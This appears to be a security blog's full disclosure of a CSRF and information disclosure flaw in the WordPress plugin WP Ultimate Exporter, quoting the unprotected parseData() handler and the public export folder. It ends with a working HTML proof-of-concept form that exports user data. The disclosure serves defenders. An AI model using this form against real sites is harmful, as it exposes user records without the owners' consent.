Authenticated Information Disclosure Vulnerability in WP Ultimate Exporter
On Monday while looking into why the plugin WP Ultimate CSV Importer was being targeted by a hacker we noticed that the companion plugin WP Ultimate Exporter is similarly insecure and contains an authenticated information disclosure vulnerability, which can also be exploited through cross-site request forgery (CSRF). This isn’t the first time we found an issue with this plugin and we put out a general warning about the security of the developer’s plugins back in 2016.
The plugin registers the function parseData() to be accessible through WordPress’ AJAX functionality to anyone logged in to WordPress:
50 | add_action('wp_ajax_parse_data',array($this,'parseData')); |
That function, which is located in the file /exportExtensions/ExportExtension.php, does not do any security checks before allowing various WordPress data, including data on WordPress users, to be saved to a file:
174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 | public function parseData(){ if(!empty($_POST)) { $this->module = $_POST['module']; $this->exportType = isset( $_POST['exp_type'] ) ? sanitize_text_field( $_POST['exp_type'] ) : 'csv'; $conditions = str_replace("\\" , '' , $_POST['conditions']); $conditions = json_decode($conditions, True); $conditions['specific_period']['to'] = date("Y-m-d", strtotime($conditions['specific_period']['to']) ); $conditions['specific_period']['from'] = date("Y-m-d", strtotime($conditions['specific_period']['from']) ); $this->conditions = isset( $conditions ) && ! empty( $conditions ) ? $conditions : array(); if($this->module == 'Taxonomies' || $this->module == 'CustomPosts' ){ $this->optionalType = $_POST['optionalType']; } else{ $this->optionalType = $this->getOptionalType($this->module); } $eventExclusions = str_replace("\\" , '' , $_POST['eventExclusions']); $eventExclusions = json_decode($eventExclusions, True); $this->eventExclusions = isset( $eventExclusions ) && ! empty( $eventExclusions ) ? $eventExclusions : array(); $this->fileName = isset( $_POST['fileName'] ) ? sanitize_text_field( $_POST['fileName'] ) : ''; if(empty($_POST['offset'] ) || $_POST['offset']== 'undefined'){ $this->offset = 0 ; } else{ $this->offset = isset( $_POST['offset'] ) ? sanitize_text_field( $_POST['offset'] ) : 0; } if(!empty($_POST['limit'] )){ $this->limit = isset( $_POST['limit'] ) ? sanitize_text_field( $_POST['limit'] ) : 1000; } else{ $this->limit = 50; } if(!empty($this->conditions['delimiter']['optional_delimiter'])){ $this->delimiter = $this->conditions['delimiter']['optional_delimiter'] ? $this->conditions['delimiter']['optional_delimiter']: ','; } elseif(!empty($this->conditions['delimiter']['delimiter'])){ $this->delimiter = $this->conditions['delimiter']['delimiter'] ? $this->conditions['delimiter']['delimiter'] : ','; if($this->delimiter == '{Tab}'){ $this->delimiter = " "; } elseif($this->delimiter == '{Space}'){ $this->delimiter = " "; } } $this->export_mode = 'normal'; $this->checkSplit = isset( $_POST['is_check_split'] ) ? sanitize_text_field( $_POST['is_check_split'] ) : 'false'; $this->exportData(); } } |
There should be a capabilities check as well as a nonce check to prevent CSRF before the file is generated.
Among the information that is sent with the request is the name the file will be saved as and the file is stored in a known publicly accessible directory, /wp-content/uploads/smack_uci_uploads/exports/, so when exploited through CSRF an attacker could download the file after it has been unintentionally generated by the other party involved.
WordPress Causes Full Disclosure
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will save a file to /wp-content/uploads/smack_uci_uploads/exports/test.csv with the data on WordPress users created from the beginning of the year until today, when logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=parse_data" method="POST"> <input type="hidden" name="module" value="Users" /> <input type="hidden" name="fileName" value="test" /> <input type="hidden" name="exp_type" value="csv" /> <input type="hidden" name="conditions" value='{"specific_period":{"is_check":true,"from":"2020-01-01","to":"2020-03-05"},"specific_authors":{"is_check":false,"author":""}}' /> <input type="hidden" name="export_mode" value="normal" /> <input type="hidden" name="offset" value="0" /> <input type="submit" value="Submit" /> </form> </body>